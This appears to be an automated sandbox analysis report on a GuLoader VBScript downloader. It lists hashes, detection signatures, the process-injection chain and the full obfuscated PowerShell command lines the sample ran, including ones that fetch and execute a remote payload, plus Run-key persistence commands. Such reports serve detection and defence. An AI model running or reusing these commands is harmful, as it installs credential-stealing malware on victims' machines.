guloader | 4573cff18a16eacc05034a4de1e11330c71331b15169d4249e8b04f3ab67c2bf

Analysis

max time kernel
149s
max time network
157s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
28-06-2024 01:20

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

4573cff18a16eacc05034a4de1e11330c71331b15169d4249e8b04f3ab67c2bf.vbs
Size

187KB
MD5

a408481803f47324f6479a3b70ad763b
SHA1

1a3232aeec010ce287ea65dd1a24255f95470d48
SHA256

4573cff18a16eacc05034a4de1e11330c71331b15169d4249e8b04f3ab67c2bf
SHA512

aab87aee34a0c93381fb0fb926edc137ffced40bba470b15dd45b798aeab9117f5a4daf30932dccef13c5c898d80f626e18a1a65d8c10b2c111319bb781f341e
SSDEEP

3072:dmN8GGebKjeK3ubth+DCFxKCvBB/WnHPP1w/sLJFJ281QIHz1y8mNy7Ey1MgKTZg:d08GxbKja3+DCbKCvBB/WnHXC/sLJFJN

Score

10^/10

guloader collection downloader persistence

Malware Config

Signatures

Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
downloader guloader

Detects executables built or packed with MPress PE compressor 12 IoCs

Processes:

resource	yara_rule
behavioral2/memory/4112-77-0x0000000000400000-0x0000000000478000-memory.dmp	INDICATOR_EXE_Packed_MPress
behavioral2/memory/4168-81-0x0000000000400000-0x0000000000424000-memory.dmp	INDICATOR_EXE_Packed_MPress
behavioral2/memory/4112-80-0x0000000000400000-0x0000000000478000-memory.dmp	INDICATOR_EXE_Packed_MPress
behavioral2/memory/4536-85-0x0000000000400000-0x0000000000462000-memory.dmp	INDICATOR_EXE_Packed_MPress
behavioral2/memory/4536-84-0x0000000000400000-0x0000000000462000-memory.dmp	INDICATOR_EXE_Packed_MPress
behavioral2/memory/4168-83-0x0000000000400000-0x0000000000424000-memory.dmp	INDICATOR_EXE_Packed_MPress
behavioral2/memory/4112-82-0x0000000000400000-0x0000000000478000-memory.dmp	INDICATOR_EXE_Packed_MPress
behavioral2/memory/4168-79-0x0000000000400000-0x0000000000424000-memory.dmp	INDICATOR_EXE_Packed_MPress
behavioral2/memory/4536-78-0x0000000000400000-0x0000000000462000-memory.dmp	INDICATOR_EXE_Packed_MPress
behavioral2/memory/4148-101-0x0000000020860000-0x0000000020879000-memory.dmp	INDICATOR_EXE_Packed_MPress
behavioral2/memory/4148-97-0x0000000020860000-0x0000000020879000-memory.dmp	INDICATOR_EXE_Packed_MPress
behavioral2/memory/4148-100-0x0000000020860000-0x0000000020879000-memory.dmp	INDICATOR_EXE_Packed_MPress

Detects executables referencing many confidential data stores found in browsers, mail clients, cryptocurreny wallets, etc. Observed in information stealers 1 IoCs

Processes:

resource yara_rule

behavioral2/memory/4536-85-0x0000000000400000-0x0000000000462000-memory.dmp INDICATOR_SUSPICIOUS_EXE_References_Confidential_Data_Store
Detects executables referencing many email and collaboration clients. Observed in information stealers 1 IoCs

Processes:

resource yara_rule

behavioral2/memory/4536-85-0x0000000000400000-0x0000000000462000-memory.dmp INDICATOR_SUSPICIOUS_EXE_References_Messaging_Clients
NirSoft MailPassView 1 IoCs
Password recovery tool for various email clients

Processes:

resource yara_rule

behavioral2/memory/4536-85-0x0000000000400000-0x0000000000462000-memory.dmp MailPassView
NirSoft WebBrowserPassView 1 IoCs
Password recovery tool for various web browsers

Processes:

resource yara_rule

behavioral2/memory/4112-82-0x0000000000400000-0x0000000000478000-memory.dmp WebBrowserPassView

resource	yara_rule
behavioral2/memory/4536-85-0x0000000000400000-0x0000000000462000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_References_Confidential_Data_Store

resource	yara_rule
behavioral2/memory/4536-85-0x0000000000400000-0x0000000000462000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_References_Messaging_Clients

resource	yara_rule
behavioral2/memory/4536-85-0x0000000000400000-0x0000000000462000-memory.dmp	MailPassView

resource	yara_rule
behavioral2/memory/4112-82-0x0000000000400000-0x0000000000478000-memory.dmp	WebBrowserPassView

Nirsoft 3 IoCs

Processes:

resource	yara_rule
behavioral2/memory/4536-85-0x0000000000400000-0x0000000000462000-memory.dmp	Nirsoft
behavioral2/memory/4168-83-0x0000000000400000-0x0000000000424000-memory.dmp	Nirsoft
behavioral2/memory/4112-82-0x0000000000400000-0x0000000000478000-memory.dmp	Nirsoft

Blocklisted process makes network request 3 IoCs

Processes:

WScript.exepowershell.exepowershell.exe

flow pid process

4 728 WScript.exe
15 3032 powershell.exe
52 1128 powershell.exe

flow	pid	process
4	728	WScript.exe
15	3032	powershell.exe
52	1128	powershell.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WScript.exeWScript.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-1181767204-2009306918-3718769404-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1181767204-2009306918-3718769404-1000\Control Panel\International\Geo\Nation	WScript.exe

Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs
collection

Email Collection
T1114

Processes:

wab.exe

description ioc process

Key opened \REGISTRY\USER\S-1-5-21-1181767204-2009306918-3718769404-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts wab.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-1181767204-2009306918-3718769404-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts	wab.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

reg.exereg.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-1181767204-2009306918-3718769404-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Superprogrammrernes = "%Telefonledningernes% -w 1 $Laminae=(Get-ItemProperty -Path 'HKCU:\\Fornjelig\\').Beepers146;%Telefonledningernes% ($Laminae)"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1181767204-2009306918-3718769404-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Rollingerne = "%Montuvio% -w 1 $Lkapsler=(Get-ItemProperty -Path 'HKCU:\\overdeferential\\').retoucheres;%Montuvio% ($Lkapsler)"	reg.exe

Suspicious use of NtCreateThreadExHideFromDebugger 4 IoCs

Processes:

wab.exewab.exe

pid process

4148 wab.exe
4148 wab.exe
2804 wab.exe
2804 wab.exe
Suspicious use of NtSetInformationThreadHideFromDebugger 4 IoCs

Processes:

powershell.exewab.exepowershell.exewab.exe

pid process

1064 powershell.exe
4148 wab.exe
2216 powershell.exe
2804 wab.exe

pid	process
4148	wab.exe
4148	wab.exe
2804	wab.exe
2804	wab.exe

pid	process
1064	powershell.exe
4148	wab.exe
2216	powershell.exe
2804	wab.exe

Suspicious use of SetThreadContext 5 IoCs

Processes:

powershell.exewab.exepowershell.exe

description	pid	process	target process
PID 1064 set thread context of 4148	1064	powershell.exe	wab.exe
PID 4148 set thread context of 4112	4148	wab.exe	wab.exe
PID 4148 set thread context of 4536	4148	wab.exe	wab.exe
PID 4148 set thread context of 4168	4148	wab.exe	wab.exe
PID 2216 set thread context of 2804	2216	powershell.exe	wab.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Modifies registry class 1 IoCs

Processes:

wab.exe

description ioc process

Key created \REGISTRY\USER\S-1-5-21-1181767204-2009306918-3718769404-1000_Classes\Local Settings wab.exe
Modifies registry key 1 TTPs 2 IoCs

Modify Registry
T1112

Processes:

reg.exereg.exe

pid process

720 reg.exe
4672 reg.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-1181767204-2009306918-3718769404-1000_Classes\Local Settings	wab.exe

pid	process
720	reg.exe
4672	reg.exe

Suspicious behavior: EnumeratesProcesses 33 IoCs

Processes:

powershell.exepowershell.exepowershell.exewab.exewab.exepowershell.exewab.exe

pid	process
3032	powershell.exe
3032	powershell.exe
1064	powershell.exe
1064	powershell.exe
1064	powershell.exe
1064	powershell.exe
1128	powershell.exe
1128	powershell.exe
1128	powershell.exe
4112	wab.exe
4168	wab.exe
4112	wab.exe
4168	wab.exe
4112	wab.exe
4112	wab.exe
2216	powershell.exe
2216	powershell.exe
2216	powershell.exe
2216	powershell.exe
2804	wab.exe
2804	wab.exe
2804	wab.exe
2804	wab.exe
2804	wab.exe
2804	wab.exe
2804	wab.exe
2804	wab.exe
2804	wab.exe
2804	wab.exe
2804	wab.exe
2804	wab.exe
2804	wab.exe
2804	wab.exe

Suspicious behavior: MapViewOfSection 5 IoCs

Processes:

powershell.exewab.exepowershell.exe

pid process

1064 powershell.exe
4148 wab.exe
4148 wab.exe
4148 wab.exe
2216 powershell.exe

pid	process
1064	powershell.exe
4148	wab.exe
4148	wab.exe
4148	wab.exe
2216	powershell.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

Processes:

powershell.exepowershell.exepowershell.exewab.exepowershell.exe

description	pid	process
Token: SeDebugPrivilege	3032	powershell.exe
Token: SeDebugPrivilege	1064	powershell.exe
Token: SeDebugPrivilege	1128	powershell.exe
Token: SeDebugPrivilege	4168	wab.exe
Token: SeDebugPrivilege	2216	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

wab.exe

pid process

4148 wab.exe

pid	process
4148	wab.exe

Suspicious use of WriteProcessMemory 59 IoCs

Processes:

WScript.exepowershell.exepowershell.exewab.execmd.exeWScript.exepowershell.exepowershell.exewab.execmd.exe

description	pid	process	target process
PID 728 wrote to memory of 3032	728	WScript.exe	powershell.exe
PID 728 wrote to memory of 3032	728	WScript.exe	powershell.exe
PID 3032 wrote to memory of 4300	3032	powershell.exe	cmd.exe
PID 3032 wrote to memory of 4300	3032	powershell.exe	cmd.exe
PID 3032 wrote to memory of 1064	3032	powershell.exe	powershell.exe
PID 3032 wrote to memory of 1064	3032	powershell.exe	powershell.exe
PID 3032 wrote to memory of 1064	3032	powershell.exe	powershell.exe
PID 1064 wrote to memory of 960	1064	powershell.exe	cmd.exe
PID 1064 wrote to memory of 960	1064	powershell.exe	cmd.exe
PID 1064 wrote to memory of 960	1064	powershell.exe	cmd.exe
PID 1064 wrote to memory of 4148	1064	powershell.exe	wab.exe
PID 1064 wrote to memory of 4148	1064	powershell.exe	wab.exe
PID 1064 wrote to memory of 4148	1064	powershell.exe	wab.exe
PID 1064 wrote to memory of 4148	1064	powershell.exe	wab.exe
PID 1064 wrote to memory of 4148	1064	powershell.exe	wab.exe
PID 4148 wrote to memory of 4408	4148	wab.exe	cmd.exe
PID 4148 wrote to memory of 4408	4148	wab.exe	cmd.exe
PID 4148 wrote to memory of 4408	4148	wab.exe	cmd.exe
PID 4408 wrote to memory of 720	4408	cmd.exe	reg.exe
PID 4408 wrote to memory of 720	4408	cmd.exe	reg.exe
PID 4408 wrote to memory of 720	4408	cmd.exe	reg.exe
PID 4148 wrote to memory of 1732	4148	wab.exe	WScript.exe
PID 4148 wrote to memory of 1732	4148	wab.exe	WScript.exe
PID 4148 wrote to memory of 1732	4148	wab.exe	WScript.exe
PID 1732 wrote to memory of 1128	1732	WScript.exe	powershell.exe
PID 1732 wrote to memory of 1128	1732	WScript.exe	powershell.exe
PID 1732 wrote to memory of 1128	1732	WScript.exe	powershell.exe
PID 1128 wrote to memory of 2572	1128	powershell.exe	cmd.exe
PID 1128 wrote to memory of 2572	1128	powershell.exe	cmd.exe
PID 1128 wrote to memory of 2572	1128	powershell.exe	cmd.exe
PID 4148 wrote to memory of 4112	4148	wab.exe	wab.exe
PID 4148 wrote to memory of 4112	4148	wab.exe	wab.exe
PID 4148 wrote to memory of 4112	4148	wab.exe	wab.exe
PID 4148 wrote to memory of 4112	4148	wab.exe	wab.exe
PID 4148 wrote to memory of 4536	4148	wab.exe	wab.exe
PID 4148 wrote to memory of 4536	4148	wab.exe	wab.exe
PID 4148 wrote to memory of 4536	4148	wab.exe	wab.exe
PID 4148 wrote to memory of 4536	4148	wab.exe	wab.exe
PID 4148 wrote to memory of 4168	4148	wab.exe	wab.exe
PID 4148 wrote to memory of 4168	4148	wab.exe	wab.exe
PID 4148 wrote to memory of 4168	4148	wab.exe	wab.exe
PID 4148 wrote to memory of 4168	4148	wab.exe	wab.exe
PID 1128 wrote to memory of 2216	1128	powershell.exe	powershell.exe
PID 1128 wrote to memory of 2216	1128	powershell.exe	powershell.exe
PID 1128 wrote to memory of 2216	1128	powershell.exe	powershell.exe
PID 2216 wrote to memory of 1320	2216	powershell.exe	cmd.exe
PID 2216 wrote to memory of 1320	2216	powershell.exe	cmd.exe
PID 2216 wrote to memory of 1320	2216	powershell.exe	cmd.exe
PID 2216 wrote to memory of 2804	2216	powershell.exe	wab.exe
PID 2216 wrote to memory of 2804	2216	powershell.exe	wab.exe
PID 2216 wrote to memory of 2804	2216	powershell.exe	wab.exe
PID 2216 wrote to memory of 2804	2216	powershell.exe	wab.exe
PID 2216 wrote to memory of 2804	2216	powershell.exe	wab.exe
PID 2804 wrote to memory of 2304	2804	wab.exe	cmd.exe
PID 2804 wrote to memory of 2304	2804	wab.exe	cmd.exe
PID 2804 wrote to memory of 2304	2804	wab.exe	cmd.exe
PID 2304 wrote to memory of 4672	2304	cmd.exe	reg.exe
PID 2304 wrote to memory of 4672	2304	cmd.exe	reg.exe
PID 2304 wrote to memory of 4672	2304	cmd.exe	reg.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\4573cff18a16eacc05034a4de1e11330c71331b15169d4249e8b04f3ab67c2bf.vbs"
1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:728

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'Alcoa Restauranterne Evnesvag Cistophoric Frisvmmere Baroscopic151 Colaers Maney Lyngbyaceae Overripen224 Fuldtidsjob Tjenestemndenes Rowet Skolealderens188 Slouchily emulsible Bghjortenes Tabescence Brandtomts Pelotas Branchial Forbisetes salamis Predamaged3 Alcoa Restauranterne Evnesvag Cistophoric Frisvmmere Baroscopic151 Colaers Maney Lyngbyaceae Overripen224 Fuldtidsjob Tjenestemndenes Rowet Skolealderens188 Slouchily emulsible Bghjortenes Tabescence Brandtomts Pelotas Branchial Forbisetes salamis Predamaged3';$Betnkelighederne = 1;Function Fellatrices($Trucing){$Farcically232=$Trucing.Length-$Betnkelighederne;$Leukocytotic64='SUBSTRIN';$Leukocytotic64+='G';For( $gracileness=1;$gracileness -lt $Farcically232;$gracileness+=2){$Alcoa+=$Trucing.$Leukocytotic64.Invoke( $gracileness, $Betnkelighederne);}$Alcoa;}function Interalar47($Weather){ . ($Terrnlbets253) ($Weather);}$talesituationens=Fellatrices ' MFo zsiKl.lNa / 5..D0. H( WSilnNd.o w sI NDT .1 0F. 0H;N TW.iTn 6h4R; Sx.6L4.;C RrAv :S1i2M1S.C0S)R BGAeTc k oA/ 2.0D1R0 0.1Y0,1 ,F iCrDeRfFo xL/H1f2S1T. 0E ';$Stilkunstnernes=Fellatrices 'FUUsleOrU-HATgTe n t ';$Frisvmmere=Fellatrices '.h,tit.pBs :./K/le.vCoTlEu xPc.o nSt.a baiFl i dnaVd.eO. c o mR.Kb.rC/pbLr,/,K osn kBuDrKr eTnTc,eCe vNn.eFn,.Fd wKpK> hWtNtIpR:B/ / 9 4v..1 5B6 . 7G9...2D1s1P/ K.oFn kCuUrBr eTnOcTe,eRvvn ePn .Od wUp ';$Constantia228=Fellatrices 'E>R ';$Terrnlbets253=Fellatrices 'TiSe xR ';$Yearock='Maney';$Smittle = Fellatrices ' eAcNh o, V%.a p pCdSa t,aw% \,RDe p,s e,tB.BKAb m. C&,&. ,ePcNhNo, At ';Interalar47 (Fellatrices 'P$UgMlPoRb aIlB:SL iPbPeBlElAi,sNts=.(ScAmId, S/ cL P$ S.m iPt tPl,e )A ');Interalar47 (Fellatrices ' $ g l oFb.a.l.:,CmiSsTt o pVh,ohr.iTc =.$ F,r.iUs.vVm mFeDrTeF. sMpsl i t,(B$ICto nVsTtAaRn tKina.2 2 8,) ');Interalar47 (Fellatrices 'p[VN e.t.. SSeKr,v iTckeSPFoOiCnSt MSaFn.a gdeSr ],:F: SAeCcIuIr.iEt ySP rLoTtEo cTo lT .=F K[ N,eUti.,SAe,c u r i tAyRPKr o t o,c opl TAy pue ]U:W: Tal s 1,2 ');$Frisvmmere=$Cistophoric[0];$Snidely= (Fellatrices ' $DgKl,o,bBa.lP: pTr.oVpNeMl lNeSrCsC=.NBeBw.-BOUb jIeGc t, SAy s tAeFm..DNEe tH.AWPePb,CLl iTe n t');$Snidely+=$Libellist[1];Interalar47 ($Snidely);Interalar47 (Fellatrices 'H$SpCrToEpde lElDeSrLsR.TH e a d eVr sB[k$ S.tUi lNk.uFnUsNt nAeNr nbeHs ],= $EtPa lKe sFiStTuSaBtBi o n eAn s ');$Hotheartedness=Fellatrices 'C$ pDr,oDpeeSlClPe,r s.. D o.w n,lSo aPdFFBiFlAeH( $UFUr.i sVvMm m eprSeE, $LFUo rSb iFs,e t,e s.)L ';$Forbisetes=$Libellist[0];Interalar47 (Fellatrices 'F$Kg lSoSb a l : I,n dVu,s.tOrBiPm.i nsi sstBrCe.nBeDs,=U(PTNe.sWt - PAaItSh. S$ F oPrObSi,s.e t.e sI). ');while (!$Industriministrenes) {Interalar47 (Fellatrices '.$ g lPo.b aMl,: b,aFgFtSa laeMr =S$GtArSu.e ') ;Interalar47 $Hotheartedness;Interalar47 (Fellatrices ' Smt.a rMtC- S lLeZeDps 4R ');Interalar47 (Fellatrices ' $ gEl o,bNaBl :PIsn d,u sVtUr i m iRn i s t r ecnEe sD= (,TRe sPtA-LPLa t h $ F oBrUbLi,s,e t,e sS)r ') ;Interalar47 (Fellatrices ' $DgNlCo bDaOlR:RE v n.e sAv.aBgv=,$ g,l,oBb,aIla:.RFegs t.aKu rSa nPtTe,rKnSe.+G+ % $EC,i swtKoUpchGo.rSiscS.NcNo,uLnLt, ') ;$Frisvmmere=$Cistophoric[$Evnesvag];}$Knallertfreren=362845;$tolkningsrammerne=26102;Interalar47 (Fellatrices 'P$,gOlCo bNa.lH: Ldy.nDgDb y,a c e a.e, U= NGRe tl-SCEoTn t.e n t. D$ FIo r bLiEs eAt e s ');Interalar47 (Fellatrices ' $Tgwl,o,bBaSl : P.e,lEoOrKi,aKn T= [RSTy sPt,ePmS. C.oSn,vIe.rSt ].:R:.F r o.mGBVa sFeC6 4 S tVrNiBn gI(A$ILAyHnVgIb y a c eCaHe ). ');Interalar47 (Fellatrices 'F$Mg l oPbOa,lO:CT j eMnTeLsAtAeWm nBd eFn eLs, =S .[RSGy.s t eemK.MT eKx.t . E,nScOo.d.i nMg,],:A:LADSRCAIUIB. G eSt S,tPrFiIn g,(a$,Pse,l oCrFiMaSn )B ');Interalar47 (Fellatrices 'M$FgSl.oSb a.l :PF o rHdBr.iAnPgNsBh a,v.e.r.eC1,8K0.= $CT.j.ePn.eSs tDeSmVn d e nUeBs .psFu bSsFt,r iAn,gB( $,K,n.aFlIl.eAr.t f,rOe.r,e n ,,$VtEoOl,kGnGiun g sBr aIm.mBe,rAn e.) ');Interalar47 $Fordringshavere180;"
2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3032

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Repset.Kbm && echo t"
3⤵
PID:4300

C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'Alcoa Restauranterne Evnesvag Cistophoric Frisvmmere Baroscopic151 Colaers Maney Lyngbyaceae Overripen224 Fuldtidsjob Tjenestemndenes Rowet Skolealderens188 Slouchily emulsible Bghjortenes Tabescence Brandtomts Pelotas Branchial Forbisetes salamis Predamaged3 Alcoa Restauranterne Evnesvag Cistophoric Frisvmmere Baroscopic151 Colaers Maney Lyngbyaceae Overripen224 Fuldtidsjob Tjenestemndenes Rowet Skolealderens188 Slouchily emulsible Bghjortenes Tabescence Brandtomts Pelotas Branchial Forbisetes salamis Predamaged3';$Betnkelighederne = 1;Function Fellatrices($Trucing){$Farcically232=$Trucing.Length-$Betnkelighederne;$Leukocytotic64='SUBSTRIN';$Leukocytotic64+='G';For( $gracileness=1;$gracileness -lt $Farcically232;$gracileness+=2){$Alcoa+=$Trucing.$Leukocytotic64.Invoke( $gracileness, $Betnkelighederne);}$Alcoa;}function Interalar47($Weather){ . ($Terrnlbets253) ($Weather);}$talesituationens=Fellatrices ' MFo zsiKl.lNa / 5..D0. H( WSilnNd.o w sI NDT .1 0F. 0H;N TW.iTn 6h4R; Sx.6L4.;C RrAv :S1i2M1S.C0S)R BGAeTc k oA/ 2.0D1R0 0.1Y0,1 ,F iCrDeRfFo xL/H1f2S1T. 0E ';$Stilkunstnernes=Fellatrices 'FUUsleOrU-HATgTe n t ';$Frisvmmere=Fellatrices '.h,tit.pBs :./K/le.vCoTlEu xPc.o nSt.a baiFl i dnaVd.eO. c o mR.Kb.rC/pbLr,/,K osn kBuDrKr eTnTc,eCe vNn.eFn,.Fd wKpK> hWtNtIpR:B/ / 9 4v..1 5B6 . 7G9...2D1s1P/ K.oFn kCuUrBr eTnOcTe,eRvvn ePn .Od wUp ';$Constantia228=Fellatrices 'E>R ';$Terrnlbets253=Fellatrices 'TiSe xR ';$Yearock='Maney';$Smittle = Fellatrices ' eAcNh o, V%.a p pCdSa t,aw% \,RDe p,s e,tB.BKAb m. C&,&. ,ePcNhNo, At ';Interalar47 (Fellatrices 'P$UgMlPoRb aIlB:SL iPbPeBlElAi,sNts=.(ScAmId, S/ cL P$ S.m iPt tPl,e )A ');Interalar47 (Fellatrices ' $ g l oFb.a.l.:,CmiSsTt o pVh,ohr.iTc =.$ F,r.iUs.vVm mFeDrTeF. sMpsl i t,(B$ICto nVsTtAaRn tKina.2 2 8,) ');Interalar47 (Fellatrices 'p[VN e.t.. SSeKr,v iTckeSPFoOiCnSt MSaFn.a gdeSr ],:F: SAeCcIuIr.iEt ySP rLoTtEo cTo lT .=F K[ N,eUti.,SAe,c u r i tAyRPKr o t o,c opl TAy pue ]U:W: Tal s 1,2 ');$Frisvmmere=$Cistophoric[0];$Snidely= (Fellatrices ' $DgKl,o,bBa.lP: pTr.oVpNeMl lNeSrCsC=.NBeBw.-BOUb jIeGc t, SAy s tAeFm..DNEe tH.AWPePb,CLl iTe n t');$Snidely+=$Libellist[1];Interalar47 ($Snidely);Interalar47 (Fellatrices 'H$SpCrToEpde lElDeSrLsR.TH e a d eVr sB[k$ S.tUi lNk.uFnUsNt nAeNr nbeHs ],= $EtPa lKe sFiStTuSaBtBi o n eAn s ');$Hotheartedness=Fellatrices 'C$ pDr,oDpeeSlClPe,r s.. D o.w n,lSo aPdFFBiFlAeH( $UFUr.i sVvMm m eprSeE, $LFUo rSb iFs,e t,e s.)L ';$Forbisetes=$Libellist[0];Interalar47 (Fellatrices 'F$Kg lSoSb a l : I,n dVu,s.tOrBiPm.i nsi sstBrCe.nBeDs,=U(PTNe.sWt - PAaItSh. S$ F oPrObSi,s.e t.e sI). ');while (!$Industriministrenes) {Interalar47 (Fellatrices '.$ g lPo.b aMl,: b,aFgFtSa laeMr =S$GtArSu.e ') ;Interalar47 $Hotheartedness;Interalar47 (Fellatrices ' Smt.a rMtC- S lLeZeDps 4R ');Interalar47 (Fellatrices ' $ gEl o,bNaBl :PIsn d,u sVtUr i m iRn i s t r ecnEe sD= (,TRe sPtA-LPLa t h $ F oBrUbLi,s,e t,e sS)r ') ;Interalar47 (Fellatrices ' $DgNlCo bDaOlR:RE v n.e sAv.aBgv=,$ g,l,oBb,aIla:.RFegs t.aKu rSa nPtTe,rKnSe.+G+ % $EC,i swtKoUpchGo.rSiscS.NcNo,uLnLt, ') ;$Frisvmmere=$Cistophoric[$Evnesvag];}$Knallertfreren=362845;$tolkningsrammerne=26102;Interalar47 (Fellatrices 'P$,gOlCo bNa.lH: Ldy.nDgDb y,a c e a.e, U= NGRe tl-SCEoTn t.e n t. D$ FIo r bLiEs eAt e s ');Interalar47 (Fellatrices ' $Tgwl,o,bBaSl : P.e,lEoOrKi,aKn T= [RSTy sPt,ePmS. C.oSn,vIe.rSt ].:R:.F r o.mGBVa sFeC6 4 S tVrNiBn gI(A$ILAyHnVgIb y a c eCaHe ). ');Interalar47 (Fellatrices 'F$Mg l oPbOa,lO:CT j eMnTeLsAtAeWm nBd eFn eLs, =S .[RSGy.s t eemK.MT eKx.t . E,nScOo.d.i nMg,],:A:LADSRCAIUIB. G eSt S,tPrFiIn g,(a$,Pse,l oCrFiMaSn )B ');Interalar47 (Fellatrices 'M$FgSl.oSb a.l :PF o rHdBr.iAnPgNsBh a,v.e.r.eC1,8K0.= $CT.j.ePn.eSs tDeSmVn d e nUeBs .psFu bSsFt,r iAn,gB( $,K,n.aFlIl.eAr.t f,rOe.r,e n ,,$VtEoOl,kGnGiun g sBr aIm.mBe,rAn e.) ');Interalar47 $Fordringshavere180;"
3⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1064

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Repset.Kbm && echo t"
4⤵
PID:960

C:\Program Files (x86)\windows mail\wab.exe
"C:\Program Files (x86)\windows mail\wab.exe"
4⤵
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Modifies registry class
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4148

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Superprogrammrernes" /t REG_EXPAND_SZ /d "%Telefonledningernes% -w 1 $Laminae=(Get-ItemProperty -Path 'HKCU:\Fornjelig\').Beepers146;%Telefonledningernes% ($Laminae)"
5⤵
- Suspicious use of WriteProcessMemory
PID:4408

C:\Windows\SysWOW64\reg.exe
REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Superprogrammrernes" /t REG_EXPAND_SZ /d "%Telefonledningernes% -w 1 $Laminae=(Get-ItemProperty -Path 'HKCU:\Fornjelig\').Beepers146;%Telefonledningernes% ($Laminae)"
6⤵
- Adds Run key to start application
- Modifies registry key
PID:720

C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Poodle.vbs"
5⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1732

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'Commixed Stines Androcratic Bertolonia Bestemmelsesstedets Compunct Tydelighed Afdelingsingenirs183 Dorte103 Antiksamlingen Undivisiveness255 Lienectomies Unpreying Pantets Photometrically Pyorrheas luske bortskaffelserne Trassenters Localizations Brumstone Citronsommerfuglens Dikamalli Amebocyte Commixed Stines Androcratic Bertolonia Bestemmelsesstedets Compunct Tydelighed Afdelingsingenirs183 Dorte103 Antiksamlingen Undivisiveness255 Lienectomies Unpreying Pantets Photometrically Pyorrheas luske bortskaffelserne Trassenters Localizations Brumstone Citronsommerfuglens Dikamalli Amebocyte';$Stileemnets = 1;Function Alert($Catoptrical){$Dispropriate=$Catoptrical.Length-$Stileemnets;$Cohesions='SUBSTRIN';$Cohesions+='G';For( $Kaliumklorider=1;$Kaliumklorider -lt $Dispropriate;$Kaliumklorider+=2){$Commixed+=$Catoptrical.$Cohesions.Invoke( $Kaliumklorider, $Stileemnets);}$Commixed;}function Xylografien($Disharmoner){ . ($Dragemanden) ($Disharmoner);}$Cigale=Alert 'PMSomzUiRlBlOaA/B5.. 0S b(TW iSnAdVoUwCsG .NrT 1 0D.S0 ;P .WsiOnX6U4N;, .x 6L4C; r,vF:.1 2T1 . 0B)O BG,ePc k o,/ 2U0 1T0u0S1A0N1. SF.i.rme f,o xD/ 1M2F1 .,0 ';$belieffulness=Alert ' U sHeFr.-TAtg eTnGtP ';$Bestemmelsesstedets=Alert ' hKt.t pHs : / / e.v,oMl.uBxGcFoTnWt.aEbSi.l iFd aEd e .,cKo ml. b rO/.x l oKaAd /FRPuHm nSe r . xot pT ';$Voldtog=Alert 'K>N ';$Dragemanden=Alert ' iGecx, ';$Sydvestenvinds='Afdelingsingenirs183';$Anglisterne = Alert ' eAcAh o %QaVpSpEdKa tGaP%o\BbCeElSe m nPo.iSdBeMaI.OF o,s, ,& & PeDc hPod t ';Xylografien (Alert 'D$ gKl oTbBa lS: FTo r r.eBtAn i,nUg sIocmIr,aUaFdBefr =B( c.mDd. / cB ,$AA nCg l,itsKt e,r nDe ) ');Xylografien (Alert '.$bg.lCo,b aKlQ:HBJe,rBtHo.lKo nDi.a =G$ B e s t,e mKm eKlSs eCsHsSt eOd,e tBs,. sUpSlNi tP(R$,V o.l d tEo gU)R ');Xylografien (Alert ' [ NOe tZ.LS eIr.vBiAc.eSP oCi,n tcMoa.n.aagIeer ]P:D:,S ePc u.rSiot.y PfrPo tFo 